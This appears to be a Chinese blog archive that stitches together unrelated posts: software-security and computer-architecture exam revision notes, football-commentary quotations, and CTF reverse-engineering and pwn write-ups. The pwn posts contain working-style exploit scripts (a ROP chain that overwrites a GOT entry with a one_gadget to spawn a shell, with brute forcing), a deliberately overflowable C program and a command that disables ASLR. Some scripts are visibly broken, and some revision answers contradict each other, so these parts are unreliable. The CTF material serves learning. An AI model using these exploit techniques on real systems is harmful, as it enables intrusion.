二、逆向工程基础概念 定义 *逆向工程:通过观察系统及其行为,建立其结构蓝图,以弄清其运行规律的过程
软件逆向工程: 针对软件的逆向工程
目标软件/程序: 运用逆向工程进行分析的特定软件或程序
程序编译过程
程序的运行过程 *栈桢中存放的东西
三种逆向方法比较
逆向工程的敌手
围绕逆向分析的博弈对抗 *
具体的内容如下图
三、安全的软件开发(SDL) **
软件安全问题的根源 *
软件(安全)的三大问题:复杂性、互连性、可扩展性复杂性:软件的规模和复杂性无节制增长,影响因素还有代码集成的紧密程度,补丁等,编译连接后的代码库会变大
互联性:互联网增加了攻击目标的数量,简化了实施攻击的方法,通过网络访问不需要人工干预,很容易启动,当前企业体系结构在互联环境下暴露出越来越多的安全隐患
可扩展性:可以通过插件等方式提供附加功能,导致难以阻止通过插件引入漏洞
软件开发的三大问题:复杂性、复用性、劣币效应为什么软件是不负责任的? 可以从软件开发的三大问题, 劣币效应这里回答
因为众多开发商对安全仍然不够重视,更加重视的是产品的功能以及快速上线,抢占市场. 于是产生了劣币排斥良币的现象.
内构安全(build security in /BSI) ** 内构安全是一种协同化努力,通过提供实践、工具、指南、规则、原则及其他资源,让软件开发者、架构师和安全参与人员可以借此在软件开发的每个阶段将安全构建到软件中去
软件安全三大支柱 **
支柱一:风险管理 *
在整个SDLC中,识别、评级、追踪风险是软件风险实践的关键
安全接触点是与特定类型的RMF结合的最佳实践. 一旦针对特定软件的安全最佳实践“锁定”了一组风险,就会得到适当的处理
没有百分百的安全.只有通过实施风险管理,并充分考虑那些受影响的关键商业信息,才能让软件安全走出“技术王国”,为商业带来价值
支柱二:安全接触点 **软件安全接触点: 在软件开发生命周期中保障软件安全的一组最佳实践
这些接触点从黑帽子(渗透和攻击)和白帽子(防御和保护)两个方面综合考察软件开发中可能出现的问题
结合了接触点的软件开发生命周期(SDLC)就成为SDL,可在每个阶段尽可能避免和消除漏洞,同时又保留了熟悉的工作方式
它是软件安全的三大支柱的核心
支柱三:安全知识 **

安全知识与接触点 **记住这张图,并会进行相关的判断,例如 渗透测试是用来针对需求和使用案例的吗? x
软件安全的缺点(缺陷和瑕疵) *
缺点分为了缺陷和瑕疵,都可以导致漏洞
华为、微软为什么要实施SDL
针对安全接触点和软件工件,对应哪一部分?
四、软件全球供应链安全 *
问到软件供应链和前面讲到的三部曲的过程的关系,
案例 *
五、操作系统安全
分段、分页
段保护、页保护
宏内核、微内核
固件
操作系统脆弱性和保护机制 *
围绕缓冲区溢出对抗的博弈演进 **
六、浏览器安全 B/S浏览器参考架构
同源策略
攻击面分析 *
七、移动安全
ucas-计算机体系结构-复习上
当初选这门课,就是想打牢计算机基础,没想着真要造CPU…课程确实是有点难度的,所以对于这次期末考试,我的计划是,着重复习重点的知识以及目前和可预见的将来对自己比较重要的章节,至少保证及格!! 然后学到一点东西!
必考题型复习https://blog.csdn.net/qq_43840665/article/details/122281422
https://f.daixianiu.cn/csdn/4209862890104209.html
本科教材《》
可以做做本科后面的那个习题
第一二章考点: 性能、成本、功耗的计算性能:根据指令算IPC,两台机器比较性能,那个多长时间执行了多少指令
成本:硅片成本
功耗:静态功耗、动态功耗
习题1: 性能计算在3台不同指令系统的计算机上运行同一程序P时,A机需要执行 1.0 * 10^8 条指令,B机需要执行 2.0 * 10^8 条指令,C机需要执行4.0 * 10^8条指令,但实际执行时间都是10s。请分别计算这3台机器在运行程序P时的实际速度,以MIPS为单位。这3台计算机在运行程序P时,哪一台性能最高?为什么?
解答:123常用指标MIPS(Million Instructions Per Second),每秒钟执行多少条指令. 所以每个数除10s,并且再除10的6次方(百万)如果看性能的话,还是要比较时间,所以性能一样A:10MIPS B:20MIPS C:40MIPS
基础知识: MIPS并不是很合理,因为没有说明一条指令能干多少事.目前常用的一个性能指标还有MFLOPS,它是指每秒钟做多少个浮点运算.也可能会考,这个指标也有类似的问题,没衡量能做多少事.
习题5: 功耗计算对某处理器进行功耗测试,得到如下数据:时钟不翻转,电压1.05V时,电流为500mA;时钟频率为1GHz,电压1.1V时,电流为2500mA。请计算在1.1V下,此处理器的静态功耗以及500MHz下的总功耗。
基础知识:总功耗 = 动态功耗+ 静态功耗
动态功耗与时钟频率(翻转率)成正比
解答:先在时钟不翻转时计算电阻, R = U/I, R=2.1欧姆. 静态功耗是不变的,此时可以计算静态功耗,静态功耗 = U*U / R = 1.1 * 1.1 / 2.1 = 0.576w
我们此时计算出1.1v,1GHz下的动态功耗,然后进行比例计算,就可以得到500MHz下的动态功耗了,
1.1v,1GHz下的动态功耗 = 总功耗 - 静态功耗 = U * I - 静态功耗 = 1.1 * 2.5 - 0.576 = 2.174w
所以500MHz下的动态功耗 = 500/1000 * 2.174 = 1.087 w
所以500MHz下的总功耗 = 动态功耗 + 静态功耗 = 1.087 + 0.576 = 1.663w
第三章 二进制与逻辑电路浮点数的表示不考,但是定点数的要考
习题1:定点数的表示(1)分别给出64位定点原码和补码表示的数的范围原码: 最高位符号位 0正 1负
正: 0~ 2的63次方-1
负: -(2的63次方-1) ~0
综上,
补码:
正:0~ 2的63次方-1
负:-2的63次方 ~ -1
综上
(2)在32位定点补码表示中,0x80000000表什么数1000 0000 0000 0000 0000 0000 0000 0000
这个是补码,转换成原码后再算,
最高位不变,其余转换,然后最低位+1, 于是得到 32个0和最高位的1,溢出了??????????????
所以答案是-2的31次方
习题三:画出 e=a&b | c&d 的晶体管级电路图本科教材p184
解法1:
首先由N管组成“正逻辑”,串联表示与,并联表示或. 再用P管组成“反逻辑”,串联表示或,并联表示与.最后再把正反逻辑串联
这得到的是 ~(a&b | c&d ), 可以加一个反相器,
解法2:
先做一个转换,转换成两级与非门的逻辑,然后再画,与非门什么的参考本科教材, 转换的话,记住那些转换公式
e=a&b | c&d = ((A&B) & ~(C&D))
还是这个做法:首先由N管组成“正逻辑”,串联表示与,并联表示或. 再用P管组成“反逻辑”,串联表示或,并联表示与.最后再把正反逻辑串联
分别8⃣️
习题四: 计算一个FO4的延迟,假设反相器的输入电容位0.0036pF,平均每个负载连线电容位0.0044pF,翻转延迟位0.023ns,每pF延迟为4.5ns课本p48
FO4延迟 = 本征延迟(本身延迟) + 负载延迟 = 0.023 + 4.5((0.0036+0.0044)*4) = 0.167ns
负载延迟又和该电源的负载相关
第五章 静态流水线哪个是真相关,哪个是假相关?
五级流水的时空图,前递 ,有无前递(旁路)
给几条指令,有无前递的 画出来
和转移相关的就比较复杂了,
这里不能够前递是因为取址loadword指令的话需要访存阶段才能够拿到数值吧
空操作指令 nop的作用空操作指令(nop 指令),其不改变程序可见寄存器、状态寄存器以及内存的状态,以及用于等待需要一定周期执行的操作。nop 指令的作用,常见的有:取指的强制访存对齐(memory alignment),防止相关风险(hazard),以及用于填充延迟槽(branch delay slot)。
第六章执行延迟:统一到这个
mips 转移指令有延迟槽??
https://blog.csdn.net/weixin_43752162/article/details/122136323
前递(旁路)有哪几种?mem -》 ex
ex -〉 ex
啥叫全旁路??
load的时候需要在mem才能给前递??
mips寄存器第七章 多发射
第八章 转移预测今年大概率考那个预测情况,推演?看ppt
分析:for (i=0;i<10;i++) for(j=0;j<10;j++){…}的分支预测正确率。(2021复习题)
分析:for (i=0;i<10;i++) for(j=0;j<10;j++) for(k=0;k<10;k++){…}的分支预测正确率。(2021真题)
(7+999)/1000,(7+99)/100,7/10?
for(R3=9;R3>0;R3–)for(R2=9;R2>0;R2–)for(R1=9;R1>0;R1–){…}
R0的值恒为0
BENZ,BEQZ均为条件分支指令;BENZ R1,NAME;//R1不等于0,程序跳转,以NAME为偏移地址BEQZ R1,NAME;//R1=0,程序跳转到,以NAME为偏移地址否则,执行下一条指令
**bne (不相等则分支):**bne $s0,$s1,L1
第九章 运算部件华莱士树
第十章: 高速缓存VIPT(虚index,实tag)结构中,需要在cache中使用页着色技术.vipt即用虚拟地址索引cache,用物理地址匹配tag
当vipt的cache,每一路的容量大于页的大小的时候,就会出现cache别名问题
这个同学总结的非常精辟…我就不多费时间了…
考虑如下情况:32位机器,虚地址V1:0xe0001120 虚地址V2:0xf0002120,都映射到物理地址P: 0x00000120。页大小4KB,占地址的低12位。于是虚拟地址和物理地址的第12位一定相同。当Cache每路的大小不超过页大小时,用来i n d e x indexindex的地址位在[ 11 : 0 ] 之间,于是V1和V2的i n d e x indexindex相同,在Cache中索引到同一项,于是不会出现别名。 当Cache每路的大小超过页大小时,如每路容量8KB,用来i n d e x indexindex的地址位在[ 12 : 0 ]之间。而V1和V2的第13位不同,于是索引到Cache的不同行,于是出现了同一物理地址的多处备份,也即别名。为解决别名问题,引入软件的页着色,它保证,在给虚拟地址分配物理地址时,如果两个虚拟地址映射到同一物理地址,要求两个虚拟地址的页着色位相同,即上图中对应Cache I n d e x IndexIndex与P a g e − o f f s e t Page-offsetPage−offset之间差额的灰色部分相同。
第十一章: 存储管理
16*4 + 128
(64/2 + 64/2 ) * 3 + 64
(64/2 + 64/2 ) * 3 + 64
算的有点小问题….一个tlb项对应两个物理页才对
ab都128页
256次invalid
refill的话 注意看两次循环是一个从头开始,一个从尾部开始,所以最后应该要有重叠的部分!
应该是256-32
20年题目1
五级流水: 取址,译码,执行,访存,写会 IF,ID,EX,MEM,WB 英文全称是什么呢??
指令相关: 数据相关、结构相关和控制相关
数据相关: WAW,RAW,WAR
2
注意还要除 million, 10的6次方
(1)
A:2 B:4 C:3 MIPS
(2) 都一样,因为运行时间一样
3
(1)
原码: -2的63次方+1 ~ 2的63次方-1
补码: -2的63次方 ~ 2的63次方-1
(2)
补码:1111 1111 ………………
原码:1 0000000…… 1
所以是-1
4
5
6 电路图
7 多处理器9 转移猜测
10
128+32invalid 64+32refill来着
7788的存储
所以第十章第一题那三个如果都是32位处理器情况下tag都是31:12吗
从足球解说-诗人贺炜那里学到的诗词歌赋
生活可能不像你想象的那么好,但是也不会像你想象的那么糟.
–莫泊桑《人生》
这个世上只有一种真正的英雄主义,那就是认清生活的真相并且仍然热爱它.
–罗曼罗兰 《米开朗琪罗》
胜不妄喜,败不惶馁,胸有激雷而面如平湖者,可拜上将军也.
–司马迁《史记》
在人的一生中最为辉煌的一天并不是功成名就的那一天,而是从悲叹和绝望中产生对人生挑战的欲望,并且勇敢地迈向这种挑战的那一天
–福楼拜
一个真正的强者,在面对着非常严峻的形势,面对着命运的折磨的时候,他们能够挽救自己,他们有坚强的神经,这个坚强的神经,钢铁一般的意志,一直流淌在德意志足球的血液当中.
这是值得葡萄牙足球纪念的一个夜晚,法兰西球场的烟火为冠军而点燃,这就是足球,无论有多少人支持,你始终要为在场上每一个支持你的人拼尽全力,这不在乎数量的多少,也不在乎是在哪块土地上.
每个人都有梦想,但不一定每个人都能达成自己的梦想,其实大部分人都达不到自己的梦想,但是最让人敬佩的人,不光是那些达成梦想的人,还是那些一直努力到梦想大门门口,也许他倒在那个门口,但是你知道他拼尽了最后的一份力气.
他在很多情况下都成为巴西的救世主,这一次他还会成为巴西的救星吗?所有的人都在屏住呼吸, 助跑….打门…….非常漂亮!!!他相当的冷静,巴西队的十号球衣的主人,一定要有如此强大的心脏
谁说这个世界是冰冷而残酷的,像乌拉圭人一样,只要你胸怀坚定的信仰,做好充分的准备,保持高昂的斗志,这个世界说不定就会揭开它冰冷的面纱,向你露出灿烂的微笑
他们尽力了,人生当中总是有你能力所不及的范围,但是如果在你能力所及的范畴内,你尽到了自己全部的努力,那你还有什么可以遗憾
夜幕之下的马拉卡纳,迎来了他的第二次世界杯决赛,科科瓦多山顶的救世基督,在俯瞰着红尘俯瞰着众生,所有的悲欢离合都没有什么大不了,但是我们毕竟身处红尘.
也许他们会明白莫泊桑的一句话,生活可能不像你想象的那么好,但是,也不会像你想象的那么糟。人的脆弱和坚强,都超乎了自己的想象。有时候可能脆弱的一句话就会泪流满面,有时候,你发现自己咬着牙已经走了很长的路
人类情绪当中的,最高昂的情绪和最低落的情绪,交相辉映而成,也许只有在失利者落寞的陪伴之下,胜利者才感觉得到幸福的滋味,而我们旁观的球迷,在这样的情感交织当中,终于体会到了活着的意味.
自古打天下难,守天下更难,没有人可以永远站在顶峰,即使你可以做到居安思危,未雨绸缪,但是你身边全都是和你当年一样充满野心,充满激情和充满渴望的年轻人,他们把你的长处和短处放在显微镜下去研究,以及为标靶,你说你守天下难不难. 人生当中成功只是一时的,失败却是主旋律,但是如何面对失败却把人分成了不同的样子,有的人会被失败击垮,有的人能够不断的爬起来继续向前。我想真正的成熟应该并不是追求完美而是直面自己的缺陷,这才是生活的本质。罗曼罗兰说过的,这个世界上只有一种真正的英雄主义,那就是认清生活的真相并且任然热爱他。西班牙队从头再来吧! 难道向上攀爬的那条路不是比站在顶峰更让人热血澎湃吗
达利奇的面上基本上没有什么表情,但是这,正是他的力量所在,胜不妄喜,败不惶馁,胸有激雷而面如平湖者,可拜上将军也.
参考资料https://www.bilibili.com/video/BV1kK41167ot
https://www.bilibili.com/video/BV14h411C7aL
逆向入门-1-初探
因为最近要给校队出题,本来出web,有个同学安排的re,但是他没学过,想和我换,虽然之前没系统接触过re,但是在学pwn的过程中也了解基本的逆向,就和他换了,借此机会简单学学逆向题目的思路.
先来看这个社团ctf竞赛的题目,能够对逆向有个基本的认知,大概就是给你一个编译好了的二进制文件,反汇编反编译后得到伪代码,然后梳理伪代码的逻辑,去逆算法等,找到一个正确的输入值,从而或者输出值(flag)
例如下面这个例子,需要你输入flag,然后和正确的flag进行对比,对比正确则成功
1234567891011121314151617181920212223242526272829303132333435363738394041#include <stdio.h>int check_flag(char flag[]);int main(){ char flag[30]; printf("输入的flag为:"); fgets(flag,30,stdin); check_flag(flag); return 0;}int check_flag(char flag[]){ if(flag[0] == 'f') { if(flag[1] == 'l') { if(flag[2] == 'a') { if(flag[3] == 'g') { printf("yes,this is a flag"); getchar(); return 0; } } } } else { return 0; }}root@VM-24-10-ubuntu:/home/ubuntu/reverse# gcc check.c -o checkroot@VM-24-10-ubuntu:/home/ubuntu/reverse# ./check输入的flag为:flagyes,this is a flag
待完善 还是用上面链接里的例子,最后一题. 它是windows环境的,我的电脑是mac,进行一个简单修改,换成Linux下能运行的
1
ISCC2018-My math is badhttps://rcoil.me/2018/05/【CTF】ISCC-2018/
这个题需要你给一个输入s,然后s被拆成了8个部分,然后这8个部分需要满足一些条件,都满足后,就可以得到flag了
123456789101112131415161718__int64 __fastcall main(int a1, char **a2, char **a3){ puts("======================================="); puts("= Welcome to the flag access machine! ="); puts("= Input the password to login ... ="); puts("======================================="); __isoc99_scanf("%s", s); if ( (unsigned int)sub_400766("%s", s) ) { puts("Congratulations! You should get the flag..."); sub_400B16("Congratulations! You should get the flag..."); } else { puts("Wrong password!"); } return 0LL;}
输入的s被拆成了很多部分, 为什么呢…
1234567891011121314151617181920212223242526.bss:00000000006020A0 s db 4 dup(?) ; DATA XREF: sub_400766+8↑o.bss:00000000006020A0 ; sub_400766:loc_400788↑o ....bss:00000000006020A4 ; int dword_6020A4.bss:00000000006020A4 dword_6020A4 dd ? ; DATA XREF: sub_400766+2F↑o.bss:00000000006020A8 ; int dword_6020A8.bss:00000000006020A8 dword_6020A8 dd ? ; DATA XREF: sub_400766+3C↑o.bss:00000000006020AC ; int dword_6020AC.bss:00000000006020AC dword_6020AC dd ? ; DATA XREF: sub_400766+49↑o.bss:00000000006020B0 unk_6020B0 db ? ; ; DATA XREF: sub_400766+56↑o.bss:00000000006020B1 db ? ;.bss:00000000006020B2 db ? ;.bss:00000000006020B3 db ? ;.bss:00000000006020B4 unk_6020B4 db ? ; ; DATA XREF: sub_400766+63↑o.bss:00000000006020B5 db ? ;.bss:00000000006020B6 db ? ;.bss:00000000006020B7 db ? ;.bss:00000000006020B8 unk_6020B8 db ? ; ; DATA XREF: sub_400766+70↑o.bss:00000000006020B9 db ? ;.bss:00000000006020BA db ? ;.bss:00000000006020BB db ? ;.bss:00000000006020BC unk_6020BC db ? ; ; DATA XREF: sub_400766+7D↑o.bss:00000000006020BD db ? ;.bss:00000000006020BE db ? ;.bss:00000000006020BF db ? ;.bss:00000000006020C0 db ? ;
根据sub_400766可知v2 = unk_6020B0;v3 = unk_6020B4;v4 = unk_6020B8;v5 = unk_6020BC;
所以s = s + dword_6020A4 + dword_6020A8 + dword_6020AC + unk_6020B0 + unk_6020B4 + unk_6020B8 + unk_6020BC
所以我们的目标就是解出来每个值,然后就得到了正确的输入,输入这个s,就可以得到flag了
python的z3库,解很多约束https://blog.csdn.net/A951860555/article/details/120177253
https://blog.csdn.net/weixin_52369224/article/details/120922901
把题目给的第一个约束条件转换一下,就得到一个四元一次方程组,进行求解即可
12345678( dword_6020A4 * s - dword_6020AC * dword_6020A8 == 0x24CDF2E7C953DA56 )( 3* dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2*s == 397958918 )( 3 *s * dword_6020AC - dword_6020A8 * dword_6020A4 == 0x2E6E497E6415CF3E )( 27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 0x95AE13337 )
利用python的z3库进行求解.
pip install z3-solver
1234567891011121314from z3 import * dword_6020A4 = Int('dword_6020A4')dword_6020AC = Int('dword_6020AC')dword_6020A8 = Int('dword_6020A8')s = Int('s')solve ( dword_6020A4 * s - dword_6020AC * dword_6020A8 == 0x24CDF2E7C953DA56, 3* dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2*s == 397958918 , 3 *s * dword_6020AC - dword_6020A8 * dword_6020A4 == 0x2E6E497E6415CF3E, 27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 0x95AE13337 )
求解得到下面的值
12345root@VM-24-10-ubuntu:/home/ubuntu/re# python3 1.py[dword_6020A4 = 1801073242, dword_6020AC = 862734414, dword_6020A8 = 829124174, s = 1869639009]
然后再进一步往下走,利用c的srand得到随机数种子,然后下面的几个值就确定了,又根据这四个判断条件,即四元一次方程组,又可以解出四个值来
123456789101112131415srand(dword_6020A8 ^ dword_6020A4 ^ *(_DWORD *)s ^ dword_6020AC); v6 = rand() % 50; v7 = rand() % 50; v8 = rand() % 50; v9 = rand() % 50; v10 = rand() % 50; v11 = rand() % 50; v12 = rand() % 50; v13 = rand() % 50;if ( v5 * v7 + v2 * v6 - v3 - v4 != 0xE638C96D3LL ) return 0LL; return v5 + v2 + v4 * v9 - v3 * v8 == 0xB59F2D0CBLL && v2 * v10 + v3 * v11 - v4 - v5 == 0xDCFE88C6DLL && v4 * v13 + v2 - v3 - v5 * v12 == 0xC076D98BBLL;
先用c语言把v6-13解出来
1234567891011121314151617181920212223242526272829303132333435363738#include <stdlib.h>#include <stdio.h>int main(){int dword_6020A4 = 1801073242;int dword_6020AC = 862734414;int dword_6020A8 = 829124174;int s = 1869639009;srand((dword_6020A8)^(dword_6020A4)^(s)^(dword_6020AC));int v6 = rand() % 50;int v7 = rand() % 50;int v8 = rand() % 50;int v9 = rand() % 50;int v10 = rand() % 50;int v11 = rand() % 50;int v12 = rand() % 50;int v13 = rand() % 50;printf("%d\n",v6);printf("%d\n",v7);printf("%d\n",v8);printf("%d\n",v9);printf("%d\n",v10);printf("%d\n",v11);printf("%d\n",v12);printf("%d\n",v13);return 0;}root@VM-24-10-ubuntu:/home/ubuntu/re# ./a.out2239454535411336
然后就可以解最后一个方程组了
12345678910if ( v5 * v7 + v2 * v6 - v3 - v4 != 0xE638C96D3LL ) return 0LL; return v5 + v2 + v4 * v9 - v3 * v8 == 0xB59F2D0CBLL && v2 * v10 + v3 * v11 - v4 - v5 == 0xDCFE88C6DLL && v4 * v13 + v2 - v3 - v5 * v12 == 0xC076D98BBLL;39*v5 + 22*v2 -v3-v4 == 0xE638C96D3,v5 + v2 + v4*45 -v3*45 ==0xB59F2D0CB,v2 * 35 + v3*41 -v4 -v5 == 0xDCFE88C6D,v4 *36 + v2 - v3 - v5 * 13 == 0xC076D98BB
脚本
1234567891011from z3 import * v2 = Int('v2')v3 = Int('v3')v4 = Int('v4')v5 = Int('v5')solve ( 39*v5 + 22*v2 -v3-v4 == 0xE638C96D3,v5 + v2 + v4*45 -v3*45 ==0xB59F2D0CB,v2 * 35 + v3*41 -v4 -v5 == 0xDCFE88C6D,v4 *36 + v2 - v3 - v5 * 13 == 0xC076D98BB)
得到结果
12345[v3 = 828593230, v5 = 1195788129, v2 = 811816014, v4 = 1867395930]
根据前面信息可知v2 = unk_6020B0;v3 = unk_6020B4;v4 = unk_6020B8;v5 = unk_6020BC;
于是就得到了s的7个部分,把这些部分加起来,然后转换成ascii码即可得到输入
12345678910v3 = 828593230, v5 = 1195788129, v2 = 811816014, v4 = 1867395930dword_6020A4 = 1801073242, dword_6020AC = 862734414, dword_6020A8 = 829124174, s = 18696390091869639009180107324282912417486273441481181601482859323018673959301195788129
刚开始把这些数都连起来,然后每两个输出ascii,发现不对,后来看了wp,自己想了下,他们是10进制数,应该先把每个值转换成16进制,再输出
1234567891011121314flag = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]for i in flag: i = hex(i) for j in [2,4,6,8]: #print(i[j:j+2]) print(chr(int(i[j:j+2],16)),end="")print("\n")内循环也可以这样写for j in range(2,len(i),2): print(chr(int(i[j:j+2],16)),end="")
这里遇到的问题是怎么把这个串转ascii…因为把10进制转16进制后会被认作为一个字符串,取值的话又成了十进制…用chr(int(原始的数,进制数)) 就可以了!
参考:https://www.jb51.net/article/119202.htm
但是得到的结果为什么是反的????(每四个为一组)opmakZ2Z1knN3lHN0cTN1cTNoN3ZGFGa
和大端小端有关系????????????好像不是的
j+2会不会有问题,如果不够了呢?????
那就需要反转一下了
123456789101112flag = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]tmp = ""final = ""for i in flag: i = hex(i) tmp = "" for j in range(2,len(i),2): tmp += chr(int(i[j:j+2],16)).strip("\n") tmp = tmp[::-1] final += tmpprint(final)print("\n")
或者用下面的这个库(为什么这个不用反转呢?) [::-1]
123456789101112#/usr/bin/env python# coding=utf-8import libnumflag = ""x = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]for y in x: flag += libnum.n2s(y)[::-1] print flag运算结果:ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFGopmakZ2Z1knN3lHN0cTN1cTNoN3ZGFGa
12345678root@VM-24-10-ubuntu:/home/ubuntu/re# ./My\ math\ is\ bad======================================== Welcome to the flag access machine! == Input the password to login ... ========================================ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFGCongratulations! You should get the flag...flag{th3_Line@r_4lgebra_1s_d1fficult!}
pwn入门-4-one_gadget
未完待续: exp有问题…
题目来源:asis ctf quals 2017:start hard
https://github.com/boslash/bo8/tree/master/start_hard
1234567__int64 __fastcall main(int a1, char **a2, char **a3){ char buf[16]; // [rsp+10h] [rbp-10h] BYREF read(0, buf, 0x400uLL); return 0LL;}
用ida查看反汇编代码,一个很明显的缓冲区溢出漏洞,要看开启了什么保护,没有canary,栈好利用一些,但是开了nx,所以得用rop之类的
123456[*] '/tmp/starthard/start_hard' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
用one_gadget看有没有
12345678910111213141516171819root@VM-24-10-ubuntu:/tmp/starthard# one_gadget ./libc.so.6 0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xef6c4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf0567 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULLgef➤ telescope0x007fffffffe460│+0x0000: 0x007fffffffe568 → 0x007fffffffe7be → "/tmp/starthard/start_hard" ← $rsp0x007fffffffe468│+0x0008: 0x00000001004004300x007fffffffe470│+0x0010: 0x6161616161616161 ← $rsi0x007fffffffe478│+0x0018: 0x61616161616161610x007fffffffe480│+0x0020: 0x6161616161616161 ← $rbp0x007fffffffe488│+0x0028: 0x007ffff7a03c0a → <__libc_start_main+106> mov rsi, QWORD PTR [rsp+0x8]
溢出24字节,然后加上0x4526a即可,但是一直打失败了…是因为libc的问题吧,需要链接上 或者用本地的
0x4526a这个地址行吗???,这个地址是什么地址??
2023 7 28: 感觉思路没啥问题呀… 是不是可以爆破,是加了随机化是吗… 哦对…是libc中的one_gadget呀..那肯定加了随机化…
随机化了三个字符, 所以能怎么输入呢?
12345678910111213141516171819202122232425262728from pwn import *import timedef exploit(): p = process("./start_hard") payload = b"a" * 24 + p16(0xeafe) + p8(0x23) p.send(payload) # Add some delay after each attempt to avoid rapid execution issues time.sleep(0.5) # Read the output from the process p.interactive() # Check if the exploit was successful and print the result if b"Flag" in response: print("[+] Exploit successful! Flag:", response.split(b"\n")[-2]) else: print("[-] Exploit failed.") p.close()# Number of attempts you want to performnum_attempts = 100for _ in range(num_attempts): exploit()
在之前发送命令就可以!!
把回车重定向进去就可以了把
python3 final.py < huiche > tmp
问题来源:不知道libc的加载基地址 需要解决如何获得libc基址,但是刚才用vmmap查看,然后相加了呀,为啥不行呢?就算可以,对方是远程的,所以这样应该不行…应该需要先打印出来?
不是的,它是因为开了PIE,会有随机化,每次地址都会变
解决办法 libc中的各种函数的相对地址是固定的,按照往常套路,我们需要先泄露出一个函数的地址,然后计算偏移,但是在本题中没法进行泄露(或许可以????)
题解给的办法是,因为我们有read函数,可以利用它和onegadget的偏移,通过爆破?寻找onegadget,直接把read的got表给修改了成onegadget的,然后再次进行调用read就是调用onegadget了,就可以getshell了 所以思路应该是通过栈溢出构造gadget链子,先利用read函数,把read的got表改成onegadget的,然后返回main函数重新执行即可
构造payload ssize_t read(int fd, void buf, size_t* count**); read函数的含义是,从fd中读取count数据,写入到buf中,
问题是怎么构造read呢? 首先我们知道read的符号地址,可以直接进行调用,然后通过寄存器设置参数, count是不是可以不用设置??寻找pop rsi的gadget,传入read的got地址到buf变量,然后设置fd为onegadget的地址,然后最后将返回地址设置为main的就可以了!
关于onegadget地址的传参问题 但是问题是题解中的onegadget的地址是直接传参传进来的,不是通过设置rdi,这是为啥呢??? 是因为此时rdi为0,所以从标准输入中获取嘛?我觉得应该是,并且这个让我想到了pwnable的第一题…那应该就不奇怪了
关于onegadget 用的libc的问题 用的如果是自己的libc的话,
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep read@
ROPgadget –binary /lib/x86_64-linux-gnu/libc.so.6 –only ‘pop|ret’
0x000000000002164d : pop rsi ; pop r15 ; ret
echo 0 > /proc/sys/kernel/randomize_va_space
最终exp 这是作者给的原exp,实际上用的话可能需要简单修改
该exp首先填满缓冲区,然后通过 pop_rsi把read的got表地址赋值给rsi,即后面read的第二个参数buf,也就是我们要覆盖的地址,后面8个A是因为用的gadget多了一个pop r15,填入个垃圾数据就可以了. 然后pop完之后继续往下执行,执行到read的symbols,也就是去执行read函数,此时read还没有第一个参数fd,也就是从哪里读取,但是在调试的时候发现rdi是0,也就是从标准输入读取.不过为什么那么巧,rdi是0呢???万一不是0呢? 如果不是0的话,就需要gadget进行布置了
12345678910111213141516171819202122from pwn import *elf = ELF('./start_hard')pop_rsi = 0x004005c1 # pop rsi; pop r15; retone_gadget = 0x1147 # 0xf1147def pwn(): payload = "A"*(0x10 + 8) payload += p64(pop_rsi) + p64(elf.got['read']) + "A"*8 payload += p64(elf.symbols['read']) payload += p64(0x0040044d) # call __libc_start_main payload = payload.ljust(0x400, '\x00') io.send(payload) io.send(p16(one_gadget)) io.interactive()while True: io = remote('0.0.0.0.', 10001) # io = process('./start_hard') pwn()
其他需要储备的知识 + 问题64位传参和32位 不同的是,要用到寄存器: rdi rsi rdx rcx
关于read函数https://man7.org/linux/man-pages/man2/read.2.html
关于下断点调试分析 可以在call _read指令后面下断点,然后一点点调试分析
一直以来都犯了一个错误,觉得下断点应该在exp中用pause(),但是一直不知道怎么在payload打出去后,断下来,应该及时和同学交流的,这个问题的答案其实自己早就知道了,只是不知道原来是这样…
gdb.attach(io,”b __libc_start_main”) 其实就是这句, gdb attach的话下个断点就可以了,这样就可以在payload打之后一点点调试了
https://blog.csdn.net/fjh1997/article/details/105434992/
pop rsi是把它下面的那个给pop出来?还是找rsp? 看下面的第六行,这里pop rsi的话,是放在了返回地址,所以当执行到这里的时候,上面的栈的数据就是垃圾数据了,此时pop rsi下面这里是rsp的位置???
123456789gef➤ telescope0x007fff5df395c0│+0x0000: 0x007fff5df396c8 → 0x0000000000000000 ← $rsp0x007fff5df395c8│+0x0008: 0x00000001004004300x007fff5df395d0│+0x0010: 0x4141414141414141 ← $rsi0x007fff5df395d8│+0x0018: 0x41414141414141410x007fff5df395e0│+0x0020: 0x4141414141414141 ← $rbp0x007fff5df395e8│+0x0028: 0x000000004005c1 → pop rsi0x007fff5df395f0│+0x0030: 0x00000000601018 → 0x007fae5d96b020 → <read+0> lea rax, [rip+0x2e09b1] # 0x7fae5dc4b9d8 <__libc_multiple_threads>
给的libc.so.6怎么链接?/libc.so-3.6GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.Copyright (C) 2016 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
参考https://devcraft.io/posts/2017/04/09/start-hard-asis-ctf-quals-2017.html
pwn入门-3-os保护机制ALSR和PIE
漏洞代码123456789101112#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { vuln_func(); write(STDOUT_FILENO, "Hello world!\n", 13);}
开启NX,未开启ALSR和PIEecho 0 > /proc/sys/kernel/randomize_va_space // 关闭alsr
gcc -m32 -fno-stack-protector -z noexecstack dep.c
编译得到a.out
根据源代码可以知道,这是一个很明显有缓冲区溢出漏洞,定义的数组是128,但读入了256.
修改libc为2.23
